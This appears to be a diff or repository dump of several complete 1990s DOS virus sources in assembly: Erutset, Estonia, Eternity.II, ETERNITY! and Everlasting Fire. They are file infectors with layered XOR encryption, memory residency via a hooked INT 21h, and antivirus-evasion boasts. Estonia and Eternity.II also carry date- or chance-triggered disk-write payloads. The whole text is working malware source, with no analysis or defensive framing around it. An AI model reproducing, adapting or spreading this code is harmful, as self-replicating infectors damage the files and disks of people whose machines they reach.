; v1.4 - added a third layer of XOR,NEG,NOT,ROR,ROL encryption ;
; v1.5 - added a small payload, prints a string and waits for keypress ;
; ------------------------------------------------------------------------- ;
; --------> Dedicated to the hate of all the '31337 h4x0rs' on IRC <------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm erutset.asm ;
; to link :::::] tlink /t erutset.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; this be a .com file
.286 ; needed for pusha/popa
jumps ; save space wasted jumping
blank: db 0e9h,0,0 ; jump to start of code
start: call delta ; push IP on to stack
delta: pop bp ; pop it into bp
sub bp,offset delta ; get the delta offset
decr: jmp once ; jump to once (overwritten)
lea si,[bp+encd] ; load the source index up
mov di,si ; move it into DI
call encr ; decrypt the 1st layer
; --------------------( Start Of 1st Encryption Blanket )------------------ ;
; ------------------------------------------------------------------------- ;
encd: lea si,[bp+d_encd] ; load the source index up
mov di,si ; move it into DI again
mov cx,d_encr-d_encd ; # of bytes to decrypt
call d_encr ; decrypt the 2nd layer
; --------------------( Start Of 2nd Encryption Blanket )------------------ ;
; ------------------------------------------------------------------------- ;
d_encd: lea si,[bp+t_encd] ; load the source index up
mov di,si ; move it into DI again
mov cx,t_encr-t_encd ; # of bytes to decrypt
call t_encr ; decrypt the 3rd layer
; --------------------( Start Of 3rd Encryption Blanket )------------------ ;
; ------------------------------------------------------------------------- ;
t_encd: call pload ; check if payload time
mov ax,0deadh ; check if already resident
int 21h ; if we are, bx = 0deadh now
cmp bx,0deadh ; does bx hold 0deadh ?
je first3 ; we are already resident!
sub word ptr cs:[2],80h ; lower top of PSP mem data
mov ax,cs ; move CS into AX
dec ax ; decrement AX
mov ds,ax ; move AX into DS
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
xor ax,ax ; xor the value in ax to 0
mov ds,ax ; move that value into DS
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
mov cl,6 ; load cl with value of 6
shl ax,cl ; multiply BIOS mem by 64
mov es,ax ; move value into ES
push cs ; push value of code segment
pop ds ; into data segment register
xor di,di ; xor value in DI to 0
lea si,[bp+start] ; load the source index
mov cx,finished-start ; # of bytes to load up
rep movsb ; load virus into memory
xor ax,ax ; value in ax to 0
mov ds,ax ; move value into DS
lea ax,isr ; point IVT to new ISR
sub ax,offset start ; subtract start offset
mov bx,es ; move es into bx
cli ; interrupts off
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
sti ; interrupts on
push cs cs ; push code segment twice
pop ds es ; into DS and ES registers
first3: lea si,[bp+saved] ; load up the source index
mov di,100h ; load the destination index
push di ; push 100h on to the stack
movsw ; move two bytes now
movsb ; move one byte now
retn ; return control to host
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
isr: pushf ; push all flags
cmp ax,0deadh ; are we testing if resident?
jne exec ; nope, check for execution
mov bx,0deadh ; yup, show them we are here
popf ; pop all flags
iret ; pop cs:ip+flags from stack
exec: pusha ; push all registers
push ds ; push data segment register
push es ; push extra segment register
cmp ah,4bh ; something being executed?
je infect ; yup! infect the file
exit: pop es ; pop ES from the stack
pop ds ; pop DS from the stack
popa ; pop all registers
popf ; pop all flags
old21: db 0eah ; jump to original ISR
oi21 dd ? ; old int 21 goes here
ret ; return from call
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
infect: push bp ; save original delta offset
call tsrdel ; push IP on to stack again
tsrdel: pop bp ; pop it into bp
sub bp,offset tsrdel ; get the 2nd delta offset
push ds ; push DS on to stack
pop es ; pop it into es
mov di,dx ; move file handle into di
mov cx,64 ; 64 byte filename possible
mov al,'.' ; load al with the .
cld ; clear direction flag
repnz scasb ; scan until . is hit
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
jne abort ; not it isn't, abort
cmp word ptr ds:[di+2],'M' ; is the file .--M ?
jne abort ; no it isn't, abort
mov ax,4300h ; get file attributes
int 21h ; get them now
push cx ; push the attributes
push dx ; push the file name
mov ax,4301h ; set file attributes
xor cx,cx ; to no attributes at all
int 21h ; ready for infection
mov ax,3d02h ; open the file read/write
int 21h ; open the file now
xchg bx,ax ; move the file handle
push cs cs ; push CS on to stack twice
pop ds es ; pop it into DS and ES
mov ax,5700h ; get time/date stamps
int 21h ; get them now
push dx ; save the date
push cx ; save the time
mov ah,3fh ; the read function
lea dx,[bp+saved] ; record the bytes here
mov cx,3 ; read first three bytes
int 21h ; first three recorded
mov ax,4202h ; scan to end of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; DX:AX = file size now!
cmp dx,0 ; is the file < 65,535 bytes?
jne close ; way to big, close it up
mov cx,word ptr [bp+saved+1] ; move buffer+1 into cx
add cx,finished-start+3 ; virus size + jump
cmp ax,cx ; compare the two
jz close ; if equal, close it up
sub ax,3 ; get jump to virus body size
mov word ptr [bp+newjump+1],ax ; write as our new jump
mov ax,4200h ; point to start of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to SOF
mov ah,40h ; write to file
mov cx,3 ; write three bytes
lea dx,[bp+newjump] ; write the jump
int 21h ; jump is written
mov ax,4202h ; point to end of file
xor cx,cx ; xor value of cx to 0
cwd ; likewize for dx
int 21h ; pointing to EOF
lea si,[bp+start] ; load the source index
lea di,[bp+buffer] ; load the destination index
mov cx,finished-start ; # of bytes to put in mem
rep movsb ; load virus into memory
lea di,[bp+t_encd-start+buffer] ; load the source index
mov si,di ; load the destination index
mov cx,t_encr-t_encd ; # of bytes to encrypt
call t_encr ; encrypt the 1st layer
lea si,[bp+d_encd-start+buffer] ; load the source index
mov di,si ; load the destination index
mov cx,d_encr-d_encd ; # of bytes to encrypt
call d_encr ; encrypt the 2nd layer
lea di,[bp+encd-start+buffer] ; load the destination index
mov si,di ; load the source index
mov cx,encr-encd ; # of bytes to encrypt
call encr ; encrypt the 3rd layer
mov ah,40h ; write to file
mov cx,finished-start ; # of bytes to write
lea dx,[bp+buffer] ; write from mem
int 21h ; write the bytes now
close: mov ax,5701h ; set time / date stamps
pop cx ; restore the time
pop dx ; restore the date
int 21h ; time / date is restored
mov ax,4301h ; set file attributes
pop dx ; for this file name
pop cx ; with these attributes
int 21h ; attributes are restored
mov ah,3eh ; close up the file
int 21h ; file is closed
abort: pop bp ; pop original delta offset
jmp exit ; point to original ISR
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
saved db 0cdh,20h,0 ; our saved bytes
newjump db 0e9h,0,0 ; the soon to be jump
pldmsg db '',10,13
db ' Infected with :: Erutset :: coded by KilJaeden of the Codebreakers 1998',10,13,'$'
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
pload: mov ah,2ah ; get system time
int 21h ; get it now
cmp dl,23 ; is it the 23rd?
jne endpld ; nope, end the payload
mov ah,09h ; print a string
lea dx,[bp+pldmsg] ; our message
int 21h ; print our message
mov ah,00h ; wait for keypress
int 16h ; make them see us
endpld: ret ; return from call
; --------------------( End Of 3rd Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;
t_encr: lodsb ; load a byte
xor al,0C4h ;-----[1]
ror al,4 ;----[2]
not al ;---[3]
neg al ;--[4]
rol al,4 ;-[5]
neg al ;--[4]
not al ;---[3]
ror al,4 ;----[2]
xor al,0C4h ;-----[1]
stosb ; store a byte
loop t_encr ; do all the bytes
ret ; return from call
; --------------------( End Of 2nd Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;
d_encr: lodsb ; load a byte
neg al ;---------[1]
ror al,4 ;--------[2]
not al ;-------[3]
neg al ;------[4]
rol al,4 ;-----[5]
not al ;----[6]
ror al,4 ;---[7]
neg al ;--[8]
xor al,069h ;-[9] encryption/decryption
neg al ;--[8]
ror al,4 ;---[7]
not al ;----[6]
rol al,4 ;-----[5]
neg al ;------[4]
not al ;-------[3]
ror al,4 ;--------[2]
neg al ;---------[1]
stosb ; store the byte
loop d_encr ; do all the bytes
ret ; return from call
; --------------------( End Of 1st Encryption Blanket )-------------------- ;
; ------------------------------------------------------------------------- ;
encr: lodsb ; load a byte
neg al ;---[1]
ror al,4 ;--[2]
xor al,0C4h ;-[3] encryption/decryption
ror al,4 ;--[2]
neg al ;---[1]
stosb ; store the byte
loop encr ; do all the bytes
ret ; return from call
; ------------------------------------------------------------------------- ;
; ------------------------------------------------------------------------- ;
buffer: ; save our virus in mem
finished: ; end of the virus
once: lea si,[bp+new] ; load the source index
lea di,[bp+decr] ; load the destination index
movsw ; move two bytes
movsb ; move one byte
jmp t_encd ; jump to encrypted area
new: mov cx,encr-encd ; this replaces the jump
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,209 @@
; D A R K M A N
; Proudly Presents
; E S T O N I A
psp equ 100h
virussize equ extracopy - code
cryptsize equ extracopy - crypted - 01h
dtaoffset equ 02h * virussize + psp
filetime equ dtaoffset + 16h
filedate equ dtaoffset + 18h
filesize equ dtaoffset + 1ah
filename equ dtaoffset + 1eh
memsize equ dtaoffset + 2bh
estonia segment
assume cs:estonia,ds:estonia,es:estonia
org 100h ; Origin of COM-file
code:
call viruscode
virusid db 'ES' ; Estonia Scan-ID
viruscode:
pop bp ; Load BP from stack
sub bp,offset virusid ; BP = delta offset
or bp,bp ; BP = 0?
je crypted ; Equal? Jump to crypted
std ; Set direction flag
lea bx,[bp+crypted] ; AX = offset encrypted code
mov cx,02h ; Transpose 2 times
mov dx,cryptsize ; Decrypt 350 bytes
denexttime:
push cx ; Save CX at stack
mov cx,dx ; CX = size of encrypted code
mov di,bx
add di,dx ; DI = offset of last encrypted code
mov si,di ; SI = offset of last encrypted code
lodsb ; Load last plain byte
sub [bx],al ; Subtract AL from first encrypt byte
denextbyte:
lodsw ; Load 2 encrypted bytes
sub ah,al ; Subtract AL from AH
mov al,ah ; AL = decrypted byte
stosb ; Store a decrypted byte
inc si ; Increase SI
loop denextbyte
pop cx ; Load CX from stack
loop denexttime
crypted:
cld ; Clear direction flag
mov ah,2ah ; Get system date
int 21h ; Do it!
cmp dx,091bh ; 27. September?
jb dontsink ; Below? Jump to dontsink
cmp dx,091ch ; 28. September?
ja dontsink ; Above? Jump to dontsink
xor al,al ; Clear AL
mov cx,19h ; Destroy drives A-Z
formattrack:
push cx ; Save CX at stack
mov ah,2 ; Read a track
xor cx,cx ; Clear CX
xor dh,dh ; Clear DH
mov dl,al
int 13h ; Do it! (disk)
inc al ; Increase AL
pop cx ; Load CX from stack
loop formattrack
mov ah,09h ; Standard output string
lea dx,message ; DX = offset of message
int 21h ; Do it!
int 20h ; Exit to DOS!
dontsink:
mov ah,4ah ; Modify memory allocation
mov bx,1000h ; The new block size is 65535 bytes
int 21h ; Do it!
jc virusexit ; Error? Jump to vitusexit
mov ah,1ah ; Set disk transfer address
lea dx,[bp+dtaoffset] ; DX = offset of new DTA
int 21h ; Do it!
mov ah,4eh ; Find first matching file
mov cx,22h ; File attribute hidden+archive
lea dx,[bp+filespec] ; DX = offset of filespec
findnext:
int 21h ; Do it!
jnc infect ; No error? Jump to infect
virusexit:
mov ah,1ah ; Set disk transfer address
mov dx,80h ; DX = offset of default DTA
int 21h ; Do it!
mov di,100h ; DI = beginning of code
lea si,[bp+realcode] ; SI = offset of realcode
push di ; Restore Instruction Pointer (IP)
movsw ; Move the real code to the beginning
movsw ; " " " " " " "
movsb ; " " " " " " "
ret ; Return!
setfileinfo:
mov cx,[bp+filetime] ; CX = file time in DTA
mov dx,[bp+filedate] ; DX = file date in DTA
mov ax,5701h ; Set file data and time
int 21h ; Do it!
closefile:
mov ah,3eh ; Close file
int 21h ; Do it!
mov ah,4fh ; Find next matching file
jmp short findnext
infect:
mov cx,virussize ; Move 400 bytes
lea di,[bp+extracopy] ; DI = offset of extracopy
lea si,[bp+code] ; SI = offset of code
rep movsb ; Create an extra copy of virus
mov ax,3d02h ; Open file (read/write)
lea dx,[bp+filename] ; DX = offset of filename in DTA
int 21h ; Do it!
jc closefile ; Error? Jump to closefile
xchg ax,bx ; Exchange AX with BX
mov ax,word ptr [bp+filesize]
cmp ax,05h ; AX = 5? (AX < 5)
jb closefile ; Less? Jump to closefile
cmp ax,(65535-memsize) ; AX = 64432? (AX > 64432)
ja closefile ; Greater? Jump to closefile
sub ax,03h ; AX = offset of virus code
mov [bp+offset estoniacode+01h],ax
mov ah,3fh ; Read from file
mov cx,05h ; Read 5 bytes
lea dx,[bp+virussize+realcode]
int 21h ; Do it!
cmp [bp+virussize+offset realcode+03h],'SE'
je closefile ; Infected? Jump to closefile
lea di,[bp+virussize+cryptvalues]
in ax,40h ; AX = port 40h
stosw ; Store AX in crypt values
in ax,40h ; AX = port 40h
stosw ; Store AX in crypt value
push bx ; Save BX at stack
lea bx,[bp+virussize+crypted]
mov cx,02h ; Transpose 2 times
mov dx,cryptsize ; Encrypt 350 bytes
ennexttime:
push cx ; Save CX at stack
mov cx,dx ; CX = size of plain code
mov di,bx ; DI = offset of plain code
mov si,bx ; SI = offset of plain code
inc di ; Increase DI
ennextbyte:
lodsw ; Load 2 plain bytes
add al,ah ; Add AH to AL
stosb ; Store a encrypted byte
dec si ; Decrease SI
loop ennextbyte
add [bx],al ; Add AL to plain byte
pop cx ; Load CX from stack
loop ennexttime
pop bx ; Load BX from stack
mov ax,4202h ; Move file pointer to the end
xor cx,cx ; Clear CX
cwd ; Convert word to doubleword
int 21h ; Do it!
mov ah,40h ; Write to file
mov cx,virussize ; Write 400 bytes
lea dx,[bp+extracopy] ; DX = offset of extracopy
int 21h ; Do it!
cmp ax,cx ; Disk full?
jne infectdone ; Error? Jump to infectdone
mov ax,4200h ; Move file pointer to the beginning
xor cx,cx ; Clear CX
cwd ; Convert word to doubleword
int 21h ; Do it!
mov ah,40h ; Write to file
mov cx,05h ; Write 5 bytes
lea dx,[bp+estoniacode] ; DX = offset of estoniacode
int 21h ; Do it!
infectdone:
jmp setfileinfo
cryptvalues db 04h dup(?) ; Cryption values
estoniacode db 0e8h,00h,00h,'ES' ; New code of infected file
realcode db 0cdh,20h ; Real code of infected file
db 03h dup(?)
filespec db '*.COM',00h ; File specification
message db 'Your drives were ' ; This message will be shown the
db 'on the Estonia...' ; 27 / 28. September and then the
db ' They DIDN''T sur' ; drives (A-Z) bootsector will
db 'vive!!!',0dh,0ah ; look like it is being destroyed!!!
db '$'
extracopy:
estonia ends
end code
@@ -0,0 +1,276 @@
; -Eternity.II-
; "Created by Immortal Riot's destructive development team"
; (c) '94 The Unforgiven/Immortal Riot
;
; "If this virus survive into eternity, I'll live forever"
; or
; "Nothing last forever"
;
; Notes:
; F-Prot, Scan, TBAV, Findviru, can't find shits of this virus.
;
; Disclaimer:
; If this virus harms your computer and you kill yourself,
; I'll not attend on nor pay for your funeral.
;
; Dedication:
; I dedicate this virus to all members of Dia Psalma for all
; the ideoligical inspiration I've gained from listening on
; their music as well as talking with them.
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start
org 100
Virus_Start:
xchg ax, ax ; A nop to fill out the virus
mov ax,0fa01h ; to be exactly 600 bytes!
mov dx,5945h
int 16h
call Get_delta ; Get the delta-offset!
Get_delta:
pop bp
sub bp,Get_Delta-Virus_Start
call encrypt_decrypt ; Decrypt the virus
jmp short encryption_start ; then continue..
write_virus:
call encrypt_decrypt ; Encrypt the virus
mov ah,40
mov cx,Virus_Lenght
mov dx,bp
int 21
call encrypt_decrypt ; Decrypt it again
ret
encryption_value dw 0
encrypt_decrypt:
lea si,cs:[bp+encryption_start-virus_start]
mov cx,(end_of_virus-encryption_start+1)/2
mov dx,word ptr cs:[bp+encryption_value-virus_start]
Xor_LoopY:
xor word ptr cs:[si],dx
inc si
inc si
loop Xor_LoopY
ret
encryption_start: ; Heuristic, beat this!
mov ax,es
add ax,10
add ax,cs:[bp+Exe_header-Virus_Start+16]
push ax
push cs:[bp+Exe_header-Virus_Start+14]
push ds
push cs
pop ds
mov ah,1a ; Set the DTA
lea dx,[bp+Own_dta-virus_start]
int 21
One_Percent:
mov ah,2ch ; 1%
int 21h
cmp dl,0
jne get_drive
Cruel: ; God what I hate that
mov al,2h ; eskimoe!
mov cx,1
lea bx,v_name
cwd
int 26h
Get_drive: ; Current drive
mov ah,19h
int 21h
cmp al,2 ; A: or B:?
jae get_dir
jmp restore_dir ; Yep, then don't infect
; other files that run!
Get_Dir:
mov ah,47
xor dl,dl
lea si,[bp+dir-virus_start]
int 21
Di_Counter:
xor di,di ; Infection counter=0
; will be inc after each infection!
_4EH:
mov ah,4e ; Bummer..
Loop_Files:
lea dx,[bp+file_match-virus_start]
int 21
jnc clear_attribs ; We did find a file!
; Happy Happy, joy joy!
Dot_Dott:
lea dx,[bp+dot_dot-virus_start] ; Ah, the same old
mov ah,3bh ; dot-dot-routine again!
int 21h
jnc not_root ; No error!
jmp no_victim_found ; No more files in ..
not_root:
mov ah,4e ; Find first file
jmp short Loop_Files ; in the new directory
Clear_attribs: ; Clear file-attrib
mov ax,4301h
xor cx,cx
lea dx,[bp+own_dta-virus_start+1eh] ; 1eh=filename in DTA-aera
int 21h
Open_File:
mov ax,3d02 ; Open file in read/write mode
mov dx,Own_dta-Virus_Start+1e ; Yep, it's still 1eh in DTA!
add dx,bp ; bummer!
int 21
jnc read_File ; No error, then read the file!
jmp cant_open_file ; Hrm?!
v_name db "Eternity_II" ; Virus name!
Read_File:
xchg ax,bx ;File handle in bx
mov ah,3f ;Read file - 28 bytes
mov cx,1c ;to EXE_header (1ch)
lea dx,[bp+exe_header-virus_start]
int 21
jnc no_error ; It worked (duh)
jmp read_error ; Hrm?!
no_error:
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
jnz no_exe
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
jz infected
mov al,2 ; File pointer
call F_Ptr ; to end of file
push dx
push ax
Random:
mov ah,2ch ; Yah. Nearly polymorfic?
int 21h ; Oh well :-).
add dl,dh
jz random
mov word ptr cs:[bp+encryption_value-virus_start],dx
call write_virus ; Write encrypted copy
mov al,2 ; File pointer to end of file
Call F_Ptr
mov cx,200 ; bummer..
div cx
inc ax
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
pop ax
pop dx
mov cx,10
div cx
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
mov al,0 ; File pointer to top of file
call F_Ptr
mov ah,40 ; Write header
mov cx,1c
lea dx,[bp+exe_header-virus_start]
int 21
jc write_error ; Hrm!?
no_exe:
jmp short Restore_Time_Date
infected: ; Decrease infection counter
dec di ; with one
Restore_Time_Date: ; Nearly stealth?
lea si,[bp+own_dta-virus_start+16h] ; Oh well :-).
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
Close_File: ; Close the file
mov ah,3e
int 21
Set_Back_Attribs: ; Stealth-bomber!
mov ax,4301h
xor ch,ch
lea bx,[bp+own_dta-virus_start+15h]
mov cl,[bx]
lea dx,[bp+own_dta-virus_start+1eh]
int 21h
Sick_or_EXE:
mov ah,4f ; 4fh=find next file
inc di
cmp di,3 ; Infected three files?
jae finnished_infection ; Yep!
jmp Loop_Files ; Nah!
F_Ptr: ; Since we're using
mov ah,42 ; this routine
xor cx,cx ; three times,
cwd ; calling this
int 21 ; will save us
ret ; some bytes
write_error: ; For no use in this virus,
read_error: ; but if something screws
cant_open_file: ; up, add 09/i21h functions,
no_victim_found: ; and test what didn't work.
finnished_infection: ;
Restore_Dir: ; More stealth..
lea dx,[bp+dir-virus_start]
mov ah,3bh
int 21
quit: ; Return to original program
pop ds
retf
groupdb db "(c) '94 The Unforgiven/Immortal Riot" ; That's moi..
dot_dot db '..',0 ; Another directory
file_match db '*.EXE',0 ; Infect m all!
Exe_header db 16 DUP(0)
dw 0fff0
db 4 DUP(0)
Own_Dta db 02bh DUP(0)
dir db 65 dup (?) ; Really really stupid!
Virus_End EQU $
end_of_virus:
end Virus_Start
@@ -0,0 +1,251 @@
; VirusName : ETERNITY!
; Origin : Sweden
; Author : The Unforgiven
; Date : 15/12/93
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
; modified, and I'd nearly dare to call it a "new" virus. But well,
; the infection routine are the same, so I really dunno.
; Anyway, it's a non-overwriting randomly self encrypted infector
; of .EXE programs. It'll infect up to 3 programs each run, and now
; it also contain a dot-dot routine for moving directories. This
; version have also fixed up the "file attributes", so It will
; first clean, then infect, then restore them. It'll after infections
; in other the current directory, also return to it's original dir.
; Since its complex cryptation routine no scanners will find it.
; Scan/MSAV/TBAV/FindViru and F-prot can't find shits. TBAVs most
; advanced heurtistic scanner will ONLY!, report that the infected
; programs got a flexible entry point, ie nothing really! Haha!,
; he can suck his dick blue, 9 out of 10 "new" viruses, blah!!!
; This virus don't have ANY destructive routine at all!, Yes, it's
; true! I hope this one will survive into ETERNITY!..Greetings,
; must go out to Raver, and Tormentor/DY. Hope you enjoy this code!
;=============================================================================
; **** ETERNITY! ****
;=============================================================================
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
Virus_Start: call where_we_are
where_we_are: pop bp
sub bp,where_we_are-Virus_Start
call encrypt_decrypt
jmp encryption_start
write_virus:
call encrypt_decrypt
mov ah,40 ; Write virus to EOF.
mov cx,Virus_Lenght
mov dx,bp
int 21
call encrypt_decrypt
ret
encryption_value dw 0
encrypt_decrypt:
lea si,cs:[bp+encryption_start-virus_start]
mov cx,(end_of_virus-encryption_start+1)/2
mov dx,word ptr cs:[bp+encryption_value-virus_start]
again:
xor word ptr cs:[si],dx
add si,2
loop again
ret
encryption_start:
mov ax,es
add ax,10
add ax,cs:[bp+Exe_header-Virus_Start+16]
push ax
push cs:[bp+Exe_header-Virus_Start+14]
push ds
push cs
pop ds
mov ah,1a ;SET-DTA
lea dx,[bp+Own_dta-virus_start] ;till own_dta
int 21
;Get starting dir
mov ah,47
xor dl,dl
lea si,[bp+dir-virus_start]
int 21
;start finding files
xor di,di ;infection count
mov ah,4e ; We start to look for a *.EXE file
look4victim: ;mov dx,offset file_match-Virus_Start
;add dx,bp
lea dx,[bp+file_match-virus_start]
int 21
jnc clear_attribs
lea dx,[bp+dot_dot-virus_start]
mov ah,3bh
int 21h
jnc not_root
jmp no_victim_found
not_root:
mov ah,4e
jmp look4victim
; jmp no_victim_found ; If no *.EXE files was found.
clear_attribs:
mov ax,4301h
xor cx,cx
lea dx,[bp+own_dta-virus_start+1eh]
int 21h
cont2: mov ax,3d02 ;open file
mov dx,Own_dta-Virus_Start+1e
add dx,bp
int 21
jnc cont1 ;exit if error
jmp cant_open_file
cont1: xchg ax,bx ;handle in bx
mov ah,3f ;read file - 28 bytes
mov cx,1c ;to EXE_header
lea dx,[bp+exe_header-virus_start]
int 21
jnc no_error ;exit if error
jmp read_error
no_error:
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
jnz no_exe ; !!! Some EXEs starts with ZM !!!
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
jz infected
mov ax,4202 ; Go EOF
xor cx,cx
xor dx,dx
int 21
push dx
push ax
mov ah,2ch ; this gets a random
int 21h ; encryption value..
mov word ptr cs:[bp+encryption_value-virus_start],dx
call write_virus
; mov ah,40 ; Write virus to EOF.
; mov cx,Virus_Lenght
; mov dx,bp
; int 21
mov ax,4202 ; Get NEW filelenght.
xor cx,cx
xor dx,dx
int 21
mov cx,200
div cx
inc ax
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
pop ax
pop dx
mov cx,10
div cx
sub ax,word ptr ds:[Exe_header-Virus_Start+8+bp]
mov word ptr ds:[Exe_header-Virus_Start+16+bp],ax
mov word ptr ds:[Exe_header-Virus_Start+14+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+12+bp],'RI'
mov ax,4200 ; Position file-pointer to BOF
xor cx,cx
xor dx,dx
int 21
mov ah,40 ; Write header
mov cx,1c
; mov dx,offset Exe_header-Virus_Start
; add dx,bp
lea dx,[bp+exe_header-virus_start]
int 21
jc write_error
no_exe:
jmp close_it ;
infected:
dec di
close_it:
;restore date
lea si,[bp+own_dta-virus_start+16h]
mov cx,word ptr [si]
mov dx,word ptr [si+2]
mov ax,5701h
int 21h
mov ah,3e ;close file
int 21
; file attrib
mov ax,4301h
xor ch,ch
lea bx,[bp+own_dta-virus_start+15h]
mov cl,[bx]
lea dx,[bp+own_dta-virus_start+1eh]
int 21h
Sick_or_EXE: mov ah,4f ;find next in dir until all is found
inc di
cmp di,3
jae finnished_infection
jmp look4victim
write_error: ; Here you can test whats went wrong.
read_error: ; This is just for debugging purpose.
cant_open_file: ; These entries are equal to eachother
no_victim_found: ; but could be changed if you need to test something.
finnished_infection:
;restore dir
lea dx,[bp+dir-virus_start]
mov ah,03bh
int 21
quit:
pop ds
retf
note db "[ETERNITY!] (c) '93 The Unforgiven/Immortal Riot "
dot_dot db '..',0
file_match db '*.EXE',0 ; Files to infect.
Exe_header db 16 DUP(0)
dw 0fff0 ; Just for this com file.
db 4 DUP(0)
Own_Dta db 02bh DUP(0)
dir db 65 dup (?)
Virus_End EQU $
end_of_virus:
end Virus_Start
@@ -0,0 +1,231 @@
;
; Everlasting Fire Virus by John Tardy
;
Org 100h
Jump: Jmp Virus
Decr:
Instr: db 'Generation'
Loopje DB 0e2h
db 0fah
DecrLen Equ $-Decr
Crypt:
Virus: Push Ax
Call GetOfs
GetOfs: Pop Ax
Sub Ax,GetOfs
Mov Bp,Ax
Lea Si,OrgPrg[BP]
Mov Di,100h
Movsw
Movsb
Mov Ah,1ah
Mov Dx,0f900h
Int 21h
Mov Ah,4eh
Search: Lea Dx,FileSpec[BP]
Xor Cx,Cx
Int 21h
Jnc Found
Ready: Mov Ah,1ah
Mov Dx,80h
Int 21h
Mov Bx,100h
Pop Ax
Push Bx
Ret
Found: Mov Ax,4300h
Mov Dx,0f91eh
Int 21h
Push Cx
Mov Ax,4301h
Xor Cx,Cx
Int 21h
Mov Ax,3d02h
Int 21h
Mov Bx,5700h
Xchg Ax,Bx
Int 21h
Push Cx
Push Dx
And Cx,1fh
Cmp Cx,1
Jne CheckExe
Jmp ExeFile
CheckExe: Mov Ah,3fh
Lea Dx,OrgPrg[BP]
Mov Cx,3
Int 21h
Mov Ax,Cs:[OrgPrg][BP]
Cmp Ax,'MZ'
Je ExeFile
Cmp Ax,'ZM'
Je ExeFile
Pop Dx
Pop Cx
And Cx,0ffe0h
Or Cx,1
Push Cx
Push Dx
Infect:
Mov Ax,4202h
Call FSeek
Sub Ax,3
Mov Cs:CallPtr[BP]+1,Ax
Add Ax,Offset Crypt
Mov S_1[Bp+1],Ax
Mov S_2[Bp+1],Ax
Mov S_3[Bp+4],Ax
Mov S_4[Bp+4],Ax
Call GenPoly
Mov Ah,40h
Lea Dx,0fa00h
Mov Cx,VirLen
Int 21h
Mov Ax,4200h
Call FSeek
Mov Ah,40h
Lea Dx,CallPtr[BP]
Mov Cx,3
Int 21h
Call Close
Jmp Ready
ExeFile: Call Close
Mov Ah,4fh
Jmp Search
FSeek: Xor Cx,Cx
Xor Dx,Dx
Int 21h
Ret
Close: Pop Si
Pop Dx
Pop Cx
Mov Ax,5701h
Int 21h
Mov Ah,3eh
Int 21h
Mov Ax,4301h
Pop Cx
Mov Dx,0fc1eh
Int 21h
Push Si
Ret
Db 13,10,'Mourners of a dying world'
Db 13,10,'Too late to reconcile'
Db 13,10,'Into Everlasting Fire'
Db 13,10,'Can''t you see it''s Satan''s world'
GenPoly: Xor Byte Ptr [Loopje][Bp],2
Xor Ax,Ax
Mov Es,Ax
Mov Ax,Es:[46ch]
; Xor Ax,Ax ; DEZE ERUIT!!!
Mov Es,Cs
Push Ax
And Ax,07ffh
Add Ax,CryptLen
Mov S_1[Bp+4],Ax
Mov S_2[Bp+4],Ax
Mov S_3[Bp+1],Ax
Mov S_4[Bp+1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si][Bp]
Add Ax,Bp
Mov Si,Ax
Lea Di,Instr[Bp]
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr[BP]
Mov Di,0fa00h
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt[BP]
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Mov Di,0fa00h
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:CallPtr[BP]+1
Add Ax,Encr0Len+2
Mov Cs:CallPtr[BP]+1,Ax
Ret
DB 'TRIDENT'
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
